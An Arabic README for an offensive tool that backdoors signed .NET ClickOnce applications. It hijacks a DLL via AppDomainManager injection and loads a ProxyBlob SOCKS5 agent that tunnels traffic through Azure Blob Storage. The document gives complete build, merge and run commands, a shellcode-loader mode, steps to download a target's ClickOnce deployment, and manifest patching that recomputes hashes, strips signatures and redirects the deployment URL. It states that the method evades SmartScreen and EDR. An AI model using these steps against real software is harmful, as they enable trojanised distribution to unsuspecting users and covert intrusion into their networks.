
تسليح تطبيقات .NET ClickOnce الموقعة للوصول الأولي من خلال اختطاف DLL تابع عبر حقن AppDomainManager وتحميل نسخة C# من وكيل ProxyBlob.

قم بتسليح تطبيقات ClickOnce الخاصة بـ .NET الموقعة رقماً للوصول الأولي عن طريق اختطاف DLL تابعة لها عبر حقن AppDomainManager وتحميل منفذ C# لوكل ProxyBlob. يحتوي على منفذ C# لـ ProxyBlob — وكيل SOCKS5 يمرر كل حركة المرور عبر Azure Blob Storage، ممتزجاً مع البيئات التي يكون فيها *.blob.core.windows.net مسموحاً به.
ClickOnce هي تقنية النشر بنقرة واحدة من مايكروسوفت لتطبيقات .NET. عندما ينقر المستخدم على رابط .application، يقوم ويندوز بتحميل التطبيق وتشغيله دون الحاجة إلى صلاحيات مسؤول. الهجوم:
.exe.config يخبر CLR بتحميل ملف DLL الخاص بنا كـ AppDomainManagerيبقى ملف .exe المضيف دون تغيير وموقعاً بشكل صحيح. يرى SmartScreen ملفاً معروفاً. يرى EDR عملية موثوقة تحمل وحدات. الوكيل الخاص بك يتواصل فقط مع Azure Blob Storage عبر HTTPS.
├── clickonce_backdoor.py # السكربت الرئيسي لتخريب ملف DLL الخاص بوكل ProxyBlob في تطبيق ClickOnce
├── examples/
│ ├── ProxyBlobAgent.cs # حمولة DLL الخاصة بوكل ProxyBlob لتطبيق ClickOnce (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # وكيل ProxyBlob المستقل (للاختبار)
│ ├── ShellcodeLoader.cs # بديل: حمولة محمل شيلكود
│ └── MessageBoxPoC.cs # PoC: مربع رسالة (للتحقق من نجاح الحقن)
└── README.md
المهاجم (لينكس/macOS):
جهاز البناء (ويندوز):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (يكتشف تلقائياً)nuget.exe بجانب السكربت أو أضفه إلى PATH (مطلوب فقط لوضع --proxyblob)يكتشف السكربت csc.exe و nuget.exe تلقائياً. بالنسبة لـ --proxyblob، يتم تثبيت BouncyCastle و ILMerge تلقائياً عبر NuGet عند التشغيل الأول في مجلد packages/ بجانب السكربت (يستمر عبر عمليات التشغيل).
كود الوكيل محايد للبنية (لا P/Invoke ولا شيلكود). علامة --platform (التي تُمرر إلى csc.exe /platform:) تتحكم في كيفية تحميل CLR له:
--platform | يعمل على ويندوز x86 | يعمل على ويندوز x64 | متى تستخدم |
|---|---|---|---|
x86 (افتراضي) | 32-bit | 32-bit (WoW64) | التطبيق الهدف هو x86 |
x64 | ✗ | 64-bit | التطبيق الهدف هو x64 |
anycpu | 32-bit | 64-bit | اختبار مستقل، أو الهدف هو AnyCPU |
تحقق من التطبيق الهدف باستخدام corflags.exe TargetApp.exe لتحديد بنيته.
# إنشاء حساب تخزين
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# الحصول على المفاتيح
az storage account keys list --account-name yourblobaccount --output table
أو استخدم Azurite محلياً:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
في شل الوكيل:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

احفظ سلسلة الاتصال هذه — ستذهب إلى الوكيل.
تحقق دائماً من أن الوكيل يعمل بشكل مستقل قبل دمج ClickOnce.
على جهاز بناء ويندوز:
# ترجمة
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# دمج باستخدام ILMerge في ملف exe واحد (ليتم تضمين BouncyCastle)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# تشغيل
Agent.exe <connection-string>
مرة أخرى إلى الوكيل:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
اختبار:
proxychains curl http://ipconfig.io
إذا نجح هذا، تابع إلى دمج ClickOnce.
ابحث عن تطبيق ClickOnce مستهدف أثناء الاستطلاع (ابحث عن عناوين .application). تحتاج إلى:
تنزيل كامل نشر ClickOnce:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

يقوم السكربت تلقائياً بتجميع كود C# المصدر، والتعامل مع تبعيات NuGet (لـ --proxyblob)، ودمج BouncyCastle في DLL، وتصحيح كل البيانات (manifests) — كل ذلك في تشغيل واحد:

# وضع ProxyBlob — يقوم بالتجميع التلقائي، تثبيت حزم NuGet التلقائي، والدمج التلقائي
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# وضع PoC — تحقق سريع من نجاح الحقن
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# وضع شيلكود
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# تطبيق هدف x64
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

يتولى السكربت: توليد كود C# مع إعداداتك مضمنة، التجميع عبر csc.exe، دمج BouncyCastle (لـ --proxyblob)، استبدال DLL، إنشاء .exe.config مع حقن AppDomainManager، إضافة كلا الملفين إلى البيانات، إعادة حساب كل تجزئات SHA256 وأحجام الملفات، إزالة التواقيع البرمجية، تصفير publicKeyToken للبائع، وتحديث عنوان URL لموفر النشر.
تجاوز يدوي: لا يزال بإمكانك استخدام --payload لتزويد DLL مُجمّع مسبقاً (يتخطى التجميع):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ مشكلة اسم التجميع في ILMerge: يقوم ILMerge بتعيين اسم التجميع الداخلي من اسم ملف الإخراج، وليس الإدخال. إذا قمت بالدمج إلى
Foo_merged.dllثم أعدت تسمية الملف إلىFoo.dll، سيبقى الاسم الداخليFoo_merged— يقرأ CLR البيانات الوصفية، وليس اسم الملف. لن يتطابق.exe.config، وسيفشل حقن AppDomainManager بصمت دون أي خطأ. يتعامل السكربت مع هذا بشكل صحيح عن طريق الدمج مباشرة إلى الاسم النهائي.